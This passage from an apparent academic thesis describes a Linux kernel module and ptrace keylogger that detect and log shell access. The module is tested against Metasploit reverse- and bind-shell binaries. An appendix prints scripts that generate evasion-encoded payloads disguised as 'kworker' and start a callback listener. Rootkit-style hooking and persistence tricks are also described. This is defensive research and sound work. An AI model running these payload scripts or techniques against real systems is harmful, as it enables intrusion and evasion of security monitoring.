program must register a signal handler, and the kernel module must know the Process 
Identification (PID) of the receiving process.   The biggest limitation of this approach is 
that the user-space program cannot send data to the module using this mechanism.   Other 




 Memory mapping involves marking a memory page for the purpose of sharing the 
memory area.  In order to use this approach, a module has to create a file in one of the 
VFS locations, allocate a memory area to share, and map the memory area to the VFS 
created file. From the user-space program's perspective, it has to acquire a handle to the 
same VFS file created by the module, and rely on the read, write, or memory copy system 
calls to access the shared memory.  The biggest hindrance to using this approach lies on 
the lack of notification that data has been read or written in either direction.  Thus, neither 
the module nor the user-space program are aware of any data state changes.[17] 
 
 From a defensive solution perspective, all of these mechanisms have their 
strengths and weaknesses.   A common problem faced by defensive solutions is the 
attacker's  tendency to use malware for the purpose of terminating security 
software[16][34].  It has become one of the most powerful self-defense techniques used 
by malware[13]. 
 
 During all of 2011, reports estimate that at least 11.6% of the top 10 malicious 
code families exhibited the ability to disable security software[41].   Malware analysis of 
the Agobot family of malware have found variants capable of attacking over 480 different 
processes, most of which are related to terminating security software[20], as well as 
contain code to disable roughly 105 different security software solutions[16].  Current 
reports suggest that in January 2014 alone, 9.5% of the top 10 most frequently blocked 




 Some of the techniques used to disable security solutions include: NULL 
debugger, DLL unloading, Process termination, Close Message Method, and Registry 
Modification as discussed in [13].  Null debugger refers to the use of the debugging API 
to attach to the defensive solution without actually attaching a debugger.  This causes the 
attached process to crash.  DLL unloading is the process of removing a kernel-space 
program used by the defensive solution, causing a call to the unloaded library to fail and 
crash the calling process.  Process termination relies on the use of a signals to terminate 
the defensive solution.  The Close Message Method relies on the finding the Window 
identified by the name of the defensive solution, and repeatedly sending it close requests 
until the process terminates.   Finally, the Registration Modification technique abuses the 
Windows registry to stop defensive solutions from starting up properly.  Applying these 
techniques to this thesis' work would include the use of the ptrace API to attach to the 
different processes, the unloading of the monitor's modules, the use of process 
termination signals, or disabling the automatic loading of the monitor's modules on 
system boot. 
 
 All of these techniques rely on locating the security module or its interfaces.  
They rely on known process names, common installation or startup locations within the 
system, and common interfaces used by the security solution.  The use of kernel provided 
communication mechanisms is one of those common interfaces.  It can provide an 




 In the case of VFS based and device based mechanisms, their use of file handles 
requires the module to hide the files in the corresponding file systems in order to avoid 
detection of the monitoring system.  This increases the need for rootkit style code in the 
module to implement the hiding of those processes to avoid disabling of the software.  
 
 Furthermore, device based mechanisms that rely on the ioctl system call leave an 
unmanageable interface to the module.   Especially risky in the case that the module 
implements rootkit style functions to hide devices.  The last thing a defensive solution 
should do is provide an attacker with an interface to simplify an attacker's task of 
maintaining undetected access to a compromised system.  Hiding the addition of a 
custom system call to the kernel would also greatly increase the amount of rootkit style 
code in the module.  And without adding the capability to hide the custom system call, 
the monitoring system would be easily detected, and consequently disabled. 
 
 In the interest of avoiding termination of the monitoring system, the file handles 
used by memory mapping would also need to be hidden.  Additionally, allocating kernel 
memory in a module for sharing represents a huge security risk, and decreases the overall 




 All of the mechanisms mentioned leave an attacker a convenient location to alter 
the data being transferred, including real-time signals.  A knowledgeable attacker could 
intercept signals using the ptrace API, filter out any data and evade the monitoring 
system. As a result,  any unnecessary use of the of kernel provided communication 
mechanism was avoided. 
 
 Given the use of the open system call hook for the detection of terminal 
emulators.  It was decided not to add any more locations where an attacker might 
discover the monitoring system.  Thus, the open system call is overloaded by using a 
non-existent (or fake) device.  The management module requests the transfer of a 
captured PID, by requesting the opening of the fake device.  On open request, the kernel 
module catches the open request, verifies the context of the open request, and transfers a 
stored PID from the kernel module's buffer to the management module's user-space 
buffer.  This process is depicted in Figure 3.7.  This is a rootkit like technique, where the 
module inspects the call, executes its own code, and modifies the results to accomplish 
the transfer of data.   On kernel module installation, the module receives the name of the 
device that triggers the transfer of data from the module.  It also receives the address of 





Figure 3.7.: Transfer Mechanism 
 
 The kernel module also requires the management process to register itself with the 
module.  The management process succeeds in registering by passing the module its PID 
on kernel module load.  The kernel module uses the process' registration to lock up access 
to the fake device and verify proper context of the open request, thus hindering abuse of 
the transfer mechanism. 
 
 The hooked open system call in the kernel module filters out any attempt to open 
this fake device.  It uses the registered process' PID to determine if the request comes 
from the correct context.  If so, the module transfers a stored PID from its buffer, to the 
user-space buffer using the stored address.  If a process other than the registered process 
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attempt to trigger a transfer by opening the fake device, the module simply returns zero, 
the index number for the standard in file descriptor.  
 
  There are several reasons for not using the return value from the open system call 
to pass the data to the registered process.  The first is to ensure that consistent behavior 
with the original system call is observed.  The open call returns the index number of the 
opened file pointer in the process' file descriptor table.  Maintaining consistency makes it 
harder to figure out that something else is taking place during the call.  This in turn makes 
it harder for the attacker to use the transfer mechanisms, for the purposes of finding the 
solution, and ultimately for terminating it.  Secondly, returning the data through the 
system call facility provides a location where an attacker might capture the data, and 
filter the results in order to disable the monitoring of their specific processes, and thus 
bypass the monitor.  
 
 Although the potential of introducing instability into the system by patching the 
system call table exists [33], some precautions are taken in order to limit this possibility.  
The work presented here uses malware techniques extended to a defensive approach.  
Malware writers do not limit their experiments in malicious coding.  Part of this thesis' 
approach is not to limit the use of any technique in order to gain insight into the attackers, 




 The kernel module is designed to be loaded on system boot, and the 'use count' is 
incremented at module load.  The module's use count is used by the kernel to determine if 
it is safe to unload a given module.  The use count is never purposely decremented, in 
order to disallow the unloading of the module without a system reboot.  At which time, 
the module will be loaded again, a purposely annoyingly persistent module.  Also, the 
module's use count is never decremented because the option to write a custom kill signal 
handler in the management module is not available[19].  As such, decrementing it on the 
management module's process termination was not feasible.  Otherwise, if the 
management process is terminated, the module could also be unloaded and a pointer to 
the hooked open system call routine within the unloaded module would be lost, causing 
system call table instability. 
 
 In the event that an attacker is able to patch the open system call, the potential for 
disabling the module's transfer mechanism exists.  Malicious system call table patching is 
generally used to inspect parameters or return values with the goal of filtering out data or 
modifying results, as is the case with rootkits.  This generally involves invoking the 
previous function at some point within the hooked version. 
 
 Under these circumstances, the worst case scenario would be that the attacker 
becomes aware of a previously unknown device.  Possibly leading to searching for a non-
existent device, and consequent attempts to open the device programmatically.  Any such 
attempt yields the index to the standard output file descriptor in the process' file 
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descriptor table, thus guaranteeing a consistent observed behavior.  The attacker gains 
nothing by making open requests to the device, given the module's registration 
requirement.  Furthermore, the approach attempts to mitigate evasion of the monitoring 
system. It complicates the task of capturing the data in transit, reducing the likelihood of 
an attacker modifying the data before it reaches the logging facility.   
 
 In order to reduce the likelihood of the monitoring system detection by the 
unconventional use of the 'fake' device, the device name can change on each module 
initialization.  Recall that the device name is passed to the module on module load. This 
mitigates string-matching techniques against device names for the purpose of detecting 
the monitor. 
 
 Additionally, a value of 0 was returned on failed open requests to the device, 
instead of the technically correct '-ENODEV'.   To anyone inspecting the open system 
calls, it would appear as a standard process making successful open requests.  Standard 
processes make arbitrary open calls to all sorts of file handles, this is considered 'normal' 
process behavior.  Malware has been known to mimic 'normal' profiles of behavior to 
avoid detection, known as mimicry attacks[43].  A similar approach was used to disguise 






3.3 Implementing the Monitoring Facility 
 
 Proper operation of terminal based devices and terminal oriented programs is 
provided by the TTY layer.  TTY stands for teletype, and is derived from its original job 
to handle the operations of physical teletype devices used to interact with the system.[1]  
The TTY layer is composed of line disciplines drivers, and terminal device drivers that 
handle operations for reading and writing, handling control operations, input processing, 
etc.  
 
 Of important interest to this work is the line discipline portion of the TTY layer.  
It deals with the processing of input received, determining which input to apply 
processing to and which input to deliver to the terminal oriented process.    It handles line 
editing control sequences,  like Ctrl-u, and process control sequences, like Ctrl-c.  When 
such input sequences are received the appropriate functionality or signals are delivered, 
as opposed to delivering the characters to the process. 
 
 A user-space program requests reading of a file to the kernel  via the system call 
facility.  The read system call depends on the Virtual File System  layer to fulfill requests, 
it calls vfs_read(), which transfers control to the reading facility in the Virtual File 
System  layer.  We discussed the VFS layer in our discussion of kernel transfer 
mechanism.  The VFS layer then calls the read function associated with the particular 
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type of file in the request.   In our case, the type of file is a pseudoterminal, which uses 
the TTY layer to handle its operations.  The call to tty_read() transfers control from the 
VFS layer to the TTY layer.    
 
 In the TTY layer, tty_read() then invokes the terminal's line discipline read 
function , n_tty_read(). The line discipline proceeds to transfer the bytes received from its 
buffer to the user-space buffer.  Depending on the terminal's settings, full line discipline 
filtering of input is applied, or none at all.  To round off our understanding of the TTY 
layer, its functions are invoked by requests originating in user-space, as well as from the 
hardware below.  On reception of input by the hardware, the device driver calls the TTY 
layer's line discipline n_tty_receive_buff() which transfers the bytes received from the 
device driver's buffer to the line discipline's buffer.  The flow of execution through the 





Figure 3.8: The TTY Layer's Line Discipline 
 
 The line discipline concepts in the kernel were used to deal with the captured 
input in user-space by the logging facility in the monitor module.  It implements a user-
space line discipline/keylogger for handling the input received by the terminal oriented 
program.   The ptrace system call is used in order to hook into the individual processes.  
ptrace is the system call used to access the kernel's ability to supervise any process in the 
system.  It is used to attach to processes and inspect the contents of their registers or 
memory[19].  It's primarily used in debuggers like gdb, to place break points, etc.  The 
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ptrace system call can be used by privileged processes to attach to other processes to 
monitor or inspect their memory space.   
 
 The thesis' monitoring facility utilizes ptrace to attach to shell spawning 
processes, and inspect the data transferred from the TTY layer to user-space.   The data 
received is then scrubbed using the user-space line discipline/keyboard driver capabilities 
of the logging facility.  This is done in order to record meaningful data from the input 
received by the terminal oriented program.  The logger then converts the bytes received 
to usable input for writing out to file.  The reason behind the addition of line discipline 
handling as well as key logging is to be able to extend the logging to both slave and 
master pseudoterminals in future work regardless of the terminals mode (canonical or 
non-canonical).   
 
 Our walkthrough of the different calls made in servicing the request, reveals 
multiple locations within the kernel to intercept the input.  Any location where a new 
function is called is a potential hooking site within the kernel.  Originally the capturing of 
input was implemented in a kernel module.  It hooked the line discipline's read function 
n_tty_read() to inspect the input.  The line discipline facility has previously been hooked 
to provide kernel level key logging [3], although they hooked at the device driver- line 




 Due to security concerns, the key logging facility was moved out to user-space to 
minimize affecting the security of the whole system.  The potential of adding security 
flaws due to the large amount of privileged code was too high.
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4. Experiment Development 
 
 The experiment was conducted using Oracle's Virtual Box [26] virtualization 
environment and the Metasploit framework [28].  Two virtual machines connected 
through the internal network provided by VirtualBox were used.  The first virtual 
machine was an Ubuntu 12.04 running kernel 3.2, this is the monitored system that will 
be executing the shellcode injected binaries.  The binaries are explained in section 4.1. 
 
  The second virtual machine was installed with Backtrack5R3.  Backtrack (now 
called Kali Linux) is a penetration testing Linux distribution.  It served as the attacking 
machine, making use of the Metasploit framework to accomplish its attacking duties.  
The Metasploit framework is an open source project designed to facilitate the 
development of exploit code for testing the security posture of an organization or an 
individual system [28].  This type of security testing is called penetration testing.  It was 
responsible for supplying "staged" shellcodes the remainder of the exploit.  Staged 
exploits callback the attacking machine for the remainder of the exploit code.  It was also 
responsible for establishing the callback service for the reverse shell exploits, and for 
connecting to any bind shells in the exploited system (the Ubuntu 12.04 vm).  The 




 An internal networking environment was provided for the two virtual machines 
using Virtual Box's internal network setting.  Each of the virtual machines attached to the 
internal network were configure with static IP addresses within the same subnet.  There 
was no routing involved in ensuring connectivity between the virtual machines.   
 
 Proper execution of the shellcode_injected binaries requires network connectivity, 
a listening service on the attacking system, or a listening port on the exploited system.  
The Metasploit framework's exploit handler was used to service the requests of the 
binaries. A script to handle the list of payloads injected in the binaries was used.  It 
executes the correct handler for the given binary.  The list was created by the binary 
building script used to create the malicious binaries during data setup.  A copy of the 
scripts is provided in Appendix A.  
 
4.1 Exploit Setup 
 
 
 Eleven different shellcode injected binaries were used to test the project's 
modules.  The shellcode injected binary samples were built using custom scripts that rely 
on the Metaploit framework.  Each binary was injected with a different shellcode sample 
also derived using the Metaploit framework.  The binaries we built using the scripts 




 The shellcodes were selected for their ability to bypass detection as per [8] and 
their ability to provide the attacker interaction with the remote system's Operating System 
through the shell environment.  In Cheng et al.'s [8] study four of the 36 types of exploits 
tested were able to bypass detection.  Of the 4 types that evaded detection, 2 types were 
of interest to this study, reverse shell and bind  shell shellcode.  The shellcodes used fall 
into two categories, bind_shell spawning shellcode, and reverse_shell spawning shellcode 
encoded by the Shikata Ga Nai encoder in the Metasploit framework.   
 
 The Metasploit framework offers 5 bind_shell and 7 reverse_shell shellcodes for 
exploit development.  Of the 12 total shellcodes of interest, only four make use of 
pseudoterminals that rely on the TTY layer, the modeled normal system behavior.  This 
work assumes that the exploit bypassed anomaly based detection, thus it mimics normal 
system behavior.  A total of eleven shellcodes were used, the remaining shellcode 
provided by the Metasploit framework does not execute in Debian based distributions.  
The monitored virtual machine runs on Ubuntu 12.04, it is a Debian based distribution.  
Thus, the twelfth shellcode would not execute properly on this system.   
 
The shellcodes injected into the binaries are the following: 
 Bind: 
  payload/linux/x86/shell/bind_nonx_tcp 
  payload/linux/x86/shell/bind_tcp 
  payload/linux/x86/shell_bind_tcp 
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  payload/linux/x86/meterpreter/bind_tcp 
  payload/linux/x86/meterpreter/bind_nonx_tcp 
 
 Reverse:  
  payload/linux/x86/meterpreter/reverse_tcp 
  payload/linux/x86/meterpreter/reverse_nonx_tcp 
  payload/linux/x86/shell/reverse_nonx_tcp 
  payload/linux/x86/shell/reverse_tcp 
  payload/linux/x86/shell_reverse_tcp 
  payload/linux/x86/shell_reverse_tcp2 
 
 A standard ordered list of commands was used to test the project module's ability 
to log any command executed by a potential attacker.  The commands were selected to 
test the module's logging of several behaviors within the monitored shell.   For example 
ability to log standard input, commands executed in a separate shell, pipes, etc.   
 
 The command list for shellcodes that provide a meterpreter environment was 
expanded to include commands executed within meterpreter, as well as using the standard 
shell within the meterpreter environment.  The meterpreter shell provides an extended set 
of commands and scripts developed by the Metaploit project. 
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The standard list of commands: 
  non-meterpreter shells: 
   ifconfig 
   whoami 
   hostname 
   uname -r 
   lsb_release -a 
   cat /boot/System.map-$(uname -r)| grep sys_call_table| cut -d ' '-f 1 
 
The meterpreter list of commands: 
   sysinfo 
   ps 
   netstat 
   shell 
   plus the list of non-meterpreter commands above  
 
4.2 Verification Procedures 
  
4.2.1 Reverse_shell Exploit Verification Procedure  
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 The reverse shellcode injected binaries enable access to a remote system's shell by 
connecting back to a predefined port on the attacking system.  Upon execution of 
malicious binaries on the exploited system, the reverse shell is dispatched to the attacking 
system.  The predefined callback IP address of the  remote system is specified at binary 
build.  
 
 Proper execution of reverse_shell binaries was verified prior to testing the project 
modules by using the following procedure: 
 
  On BT5R3 VM:  
   execute handler script  
    select appropriate 
     network interface 
     port 
     payload for the shellcode_injected binary being 
tested 
 
  On Ubuntu VM: 
   execute shellcode_injected binary 
 
   netstat terminal- 
    - verify reverse shell connection was established 
    -record PID of process created by executed binary 
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    -record binary image loaded by process 
   
  On BT5R3 VM:  
   verify exploit ran properly  
    -within handler shell 
     type : echo $$ 
    record PID reported on remote session 
   execute the standard list of commands on the attacking system 
   end exploit session 
 
 
4.2.2 Bind_shell Exploit Verification Procedure   
 
 The bind shellcodes injected binaries provide a listening service on a predefined 
port on the system executing the bind_shell injected binary.  The listening port number 
used is specified during binary creation. The image to execute upon connection to the 
bind shell is determined by the shellcode selected.  
 
 Proper execution of the bind_shell binaries was verified independently by 




  On Ubuntu VM: 
   execute shellcode_injected binary 
 
   netstat terminal (netstat -antp TCP) 
    - verify bind shell listening, record port number 
    -record PID of process created by executed binary 
    -record binary image loaded by process 
 
   On BT5R3 VM:  
   execute handler script  
    select appropriate 
     network interface 
     port 
     payload for the shellcode_injected binary being 
tested 
 
   verify exploit ran properly  
    -within handler shell 
     type : echo $$ 
    record PID reported on remote session 
 
   execute the standard list of commands on the attacking system 





4.2.3 Secure Shell Access Verification  
    
 OpenSSH server allows remote users to gain secure access to the system.  Upon 
connection to the service, the ssh daemon handles key exchanges and authenticates the 
user.  It provides the user with encrypted access to the shell environment. This test is 
done to provide a basis of expected system behavior.   
 
 Proper operation of the sshd service was verified prior to testing the project 
modules by following the following procedure: 
 
  On Ubuntu VM: 
   start sshd server 
   ensure sshd is running 
   netstat terminal (netstat -antp TCP) 
    - verify sshd listening, record port number 
    -record PID of process created by sshd 
    -record binary image loaded by process 
 
  On BT5R3 VM:  
   connect to ssh service on Ubuntu VM 




  On Ubuntu VM: 







 The goal of the thesis was to discover if we could bridge the gap between what is 
detected and what exploits a system without focusing on improving malware detection, 
but rather on how the operating system works. 
 
 The first part of this question asked if we bridge the gap between malware 
detection and breach without focusing on improving malware detection. To this end, a 
kernel module was built based on normal system behavior to detect access to any of the 
system provided shells.  A standard test procedure was developed along with shell access 
verification procedures to test the module.  The access verification procedures included 
eleven exploits previously known to evade detection, as well as standard access 
procedures to create a basis of expected system behavior.   
 
 The second part of the question asked if we can use normal system behavior 
models to create a breach mitigation solution (to bridge the gap).  To this end, a user-
space logging facility was developed, modeled after normal access to the system 
provided shells, from a local and remote perspective.  These normal system behavior 
models make use of pseudoterminals that rely on the TTY layer.  A standard test was 
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developed to test the logging facility's ability to capture input to the shells.  Using the 
Access Verification Procedures, eleven exploits were used during testing.  The access 
verification procedures also include normal behavior tests to verify that the solution 
works.     
 
5.2 Testing Verification Procedures 
 
 All eleven shellcode injected binaries were executed on the Ubuntu 12.04 virtual 
machine.  The exploits we executed independently of the thesis' modules to ensure that 
they worked properly.  Any staged exploit requires retrieval of the remainder of its 
particular exploit from a predefined remote system.  The exploit's callback address is 
predefined at binary build time.  Eight of the eleven binaries contained staged shellcode.  
Proper retrieval of the staged portions of the exploits was observed prior to testing the 
project modules.           
 
 Once verification of proper exploit execution, and secure shell access were 
completed, the thesis' modules were loaded.  A standard test was executed against the 
secure shell and each of the exploits.  The secure shell access test was done to provide a 




 The standard ordered list of commands, as well as the extended meterpreter list of 
commands was used where appropriate.  The tests were performed in the exact same 
manner per exploit, except for the use of either the bind_shell verification procedure, or 
the reverse_shell verification procedure.  This is due to the difference in the shellcode 
carried by the particular binaries.   
 
 The high level overview of the steps followed to conduct the individual tests 
begins with a clean system boot.  The thesis' modules are loaded, and proper operation of 
the modules is verified.  The standard remote shell access verification test is performed 
with the modules in place.   Then the appropriate exploit is executed, and verified.  This 
is the one place where the test varies.  Depending on the shellcode_injected binary 
selected for testing, either the reverse_shell verification procedure or the bind_shell 
verification procedure is executed.  The final step involves verification of PIDs and 
collection of logs created. 
 
 In order to manage kernel logs, and collect the data, 3 terminal windows were 
used in the verification of proper test execution.  The following terminals were used: 
  
Terminal 1 - sys_hook terminal: 
  navigate to location of sys_hook module source 
  (will need to compile the module with debugging flag ON  
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   - uncomment #define DEBUG 
   - type make) 
 
  dmesg command 
   verify module load and PID transfers 
 
Terminal 2 - pilot terminal: 
  navigate to location of pilot program  
  sudo ./pilot 
   enables the thesis' modules 
   allows monitoring of modules 
   record kernel transferred PIDs, and logs created 
 
Terminal 3 - netstat terminal: 
  verify bind_shell / reverse_shell connections 
  allows recording of  ports, PIDs, binary images loaded, etc 
 
All tests were carried out using the following steps:   
 
 On Ubuntu VM: 
  Enable kernel logging for module 




  execute the pilot program 
   installs module  
    detects access to shell 
    logs activity 
     
   Verify module loaded and ready 
   (check kernel logs - kernel logging enabled for tests in module) 
 
 Here's the first place where the tests vary.  Depending on which verification is 
desired, select the appropriate verification procedure.   
   
  Select: 
   Secure Shell Access Procedure or 
   Bind_shell Exploit Verification Procedure or 
   Reverse_shell Exploit Verification Procedure 
 
  On Ubuntu VM: 
   netstat terminal (netstat -antp TCP) 
     - verify exploit session is established 
     -record PID of process created by executed binary 
     -record port 




 This is the second place where the test varies.  This is due to the use of four 
meterpreter capable exploits within the Metasploit framework. 
 
  On BT5R3 VM: 
   within exploit provided shell:  
 
    execute extended meterpreter command list 
     (for meterpreter capable exploits only) 
 
    execute the standard list of commands 
 
    end exploit session 
 
  On Ubuntu VM: 
   pilot terminal- 
    record PIDs transferred from the kernel module 
    (./pilot process ) 
 
    record PIDs of monitored processes  
    (any PID for which a monitor process was execd and able  
    to attach) 
    
    stop pilot process 
 
    record number of logs created, and match to captured PIDs 
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    verify which PIDs were logged 
 
   sys_hook terminal- 
    remove sys_hook module  
 
   (reboot Ubuntu VM) 
 
5.3 Obtaining a Target Score  
   
 In order to obtain a score, the standard test on local and secure procedures were 
executed to obtain a base line for how the normal system shell access would rate.  
Execution of all the bind_shell and reverse_shell verification procedures was the next 
step.  The PIDs of all processes created were recorded, along with the PIDs that were 
captured by the kernel module, and the processes that were successfully attached along 
with the associated log files.  Verification of the logs created followed, to inspect whether 
or not input was recorded.  The use of a pseudoterminal and the TTY layer  by the 





 Outcomes from testing the thesis' modules were mixed.  The detection of shell 
spawning processes that make use of the TTY layer was 100%, however, the detection of 
processes accessing the system's shell interface was 78.2%.  The first portion of the work 
was to investigate the possibility of lessening the impact of a breach by not focusing on 
detection of the malware that caused the breach.  The results suggest that this approach 
has an 78.2% chance of success. 
 
 The second portion of the work was to investigate the use of normal operating 
system behavior as a basis for building a mitigation solution.  The logging of user input 
to the system's shells was only 33% successful.  This suggests that simply basing the 
mitigation solution on normal operating system behavior is not a viable approach to 
bridging the gap between detection and breach.  
   
Table 6.1.: Total Access to System Shell's by the Verification Procedures 





Table 6.2.: Total detection of processes accessing the System's shells detected: 
Total Detected Percentage of Detection 
25 78.2% 
 
Table 6.3.: Total pseudoterminal processes successfully logged 
Logged Pseudoterminal Processes Logging Percentage 
2 6 33.3% 
 
 
6.1 Individual Test results 
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shell 5898 yes No (master) 
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shell 5119 yes No None 
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5512 
execs an addition 
shell 5512 yes No (master) 
 
5513 
execs an addition 
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 One additional comment about the results is that the normal behavior that was 
modeled for building the mitigation module was the use of the TTY layer by the 
pseudoterminals, specifically the slave side of the pseudoterminal pair.  The 33% logging 
is based on logging of two of the 6 slave pseudoterminals created by the processes during 
all the access verification procedures.  A logical question would be how would the 
logging of the master side of the pseudoterminal affect the results and possibly improve 
the approach?  This is a question that must be addressed in any future work. 
72 
 
7. Future work 
 
 The work presented in this thesis could be improved upon.  The logging facility 
could be extended to log the master side of the pseudoterminal pair. Improving the 
logging facility by adding one more operating system based behavior capability would 
likely improve the logging of the exploits.  The logging facility was designed with the 
slave side of the pseudoterminal pair in mind.  The slave side and the master side of a 
pseudoterminal pair differ in their handling of input.  The slave side places the 
pseudoterminal in raw mode, this causes input to be sent per character received.  The 
master side places the pseudoterminal in canonical mode.  This causes the input received 
to be buffered into lines, delivering of the input to the pseudoterminal per line instead of 
per character.   The shell access verification procedures would then need to be repeated to 
test the newly added capability against the previous tested exploits.  This improvement on 
the logging facility would also show more definitively whether or not the approach is 
viable.  Adding more models of normal behavior to the logging facility would also extend 
the logging of different exploits. 
 
 Another improvement is in modeling more ways to spawn shells, as well as 
modeling more ways to access the system provided shell environment.  In essence, 





 A last improvement departs from a purely anomaly based approach, and looks at 
the exploits.  Analysis of the exploits used could be used to derive the reason for the 
failed logging.  Once those are discovered, the logging facility could be updated, and the 
access verification procedures performed once more.  This approach, however, would 





 The goal of the thesis was to investigate if the gap between what is detected and 
what exploits a victim's Operating System could be bridged, without focusing on 
improving malware detection.  Rather the focus was on how the Operating System works.  
The testing procedures focused on shell spawning exploits, as they provide an attacker 
access to the exploited system, and can lead to data leaks, etc.  Lessening the impact of 
these types of attacks is a pressing matter, as well as investigating supplemental 
approaches that may aid the malware detection efforts currently underway. 
 
 The first portion asks can we bridge the gap between malware detection and 
breach without focusing on improving malware detection.  The work presented here used 
polymorphic shellcodes previously missed by detection solutions to answer this question.  
The results suggest that relying on normal operating system behavior is a viable 
approach.  
 
 The second part of the thesis goal aims at answering can we use the normal 
operating system behavior models to create a breach mitigation solution.  The work 
presented in this thesis suggests that relying solely on models of normal operating system 




 The work presented here does not suggest that malware detection efforts should 
stop,  rather that there is a need to investigate ways to add to the detection efforts in order 
to mitigate the gap between detection and breach that do not focus on improving malware 
detection. What other approaches would be useful in coming alongside the current 
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A.  Experiment Scripts 
This appendix shows the scripts used during the Experiment development and Exploit 
development.  The entire thesis's code base is available by contacting the author or Dr. 
Carol Taylor at Eastern Washington University. 
 
Exploit Generation Script: 
#/bin/bash 
# creates a handlers file 
#feed file to multi_handler script to start handlers 
clear 
echo "****************************************************" 
echo "*      MONITOR MALICIOUS BINARY TEST GENERATOR     *" 
echo "****************************************************" 














echo "IP info: " 
ifconfig 
echo "Reverse shell Info:" 






echo -e "Enter starting listening port (incremented per binary 
built)?  \c" 
read PORT 




msfpayload linux/x86/shell/bind_nonx_tcp LPORT=$PORT R | 
msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 




msfpayload linux/x86/shell/bind_tcp LPORT=$PORT R | msfencode -e 
x86/shikata_ga_nai -c 3 -t elf > kworker$num 




msfpayload linux/x86/shell_bind_tcp LPORT=$PORT R | msfencode -e 




msfpayload linux/x86/shell/reverse_nonx_tcp LHOST=$IP LPORT=$PORT 
R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 






msfpayload linux/x86/shell/reverse_tcp LHOST=$IP LPORT=$PORT R | 
msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 






msfpayload linux/x86/shell_reverse_tcp LHOST=$IP LPORT=$PORT R | 
msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 





#7 payload/linux/x86/shell_reverse_tcp2  
msfpayload linux/x86/shell_reverse_tcp2 LHOST=$IP LPORT=$PORT R | 
msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 





#8 payload/cmd/unix/reverse_bash (does not work on Debian based 
distros) 
msfpayload cmd/unix/reverse_bash LHOST=$IP LPORT=$PORT R | 
msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 
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msfpayload linux/x86/meterpreter/bind_tcp LHOST=$IP LPORT=$PORT R 
| msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 





msfpayload linux/x86/meterpreter/bind_nonx_tcp LHOST=$IP 
LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 
kworker$num 






msfpayload linux/x86/meterpreter/reverse_tcp LHOST=$IP 
LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 
kworker$num 






msfpayload linux/x86/meterpreter/reverse_nonx_tcp LHOST=$IP 
LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 
kworker$num 






echo "kworker binaries generated..." 
chmod 731 kworker* 











echo "*      METASPLOIT LINUX MULTIHANDLER LISTENER       *" 
echo "****************************************************" 
echo "Network devices available:" 
cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' 
echo -e "Which interface: \c" 
read INT 
echo -e "Select listening port (use in Payload creation) ?  \c" 
read PORT 
echo - "Enter Payload Info: (linux/x86/shell/reverse_nonx_tcp) 
\c" 
read PAYLOAD 
echo - "Enter Remote Info: (for bind staged exploits) \c" 
read RIP 
#read IP(just two cases test1 and test2) 
#Get OS type (Linux/etc)  
OS=`uname` 
IO='' #store IP 
case $OS in 
 Linux) IP=`/sbin/ifconfig $INT | grep 'inet addr:' | grep -
v '127.0.0.1' | cut -d: -f2 | awk '{ print $1 }'`;; 
 *) IP="Unknown";; 
esac 
#enter local or remote IP for handler? 
 
echo "Starting Listener....." 
msfcli exploit/multi/handler PAYLOAD=$PAYLOAD LHOST=$IP 
LPORT=$PORT E 
 
#for staged bind 
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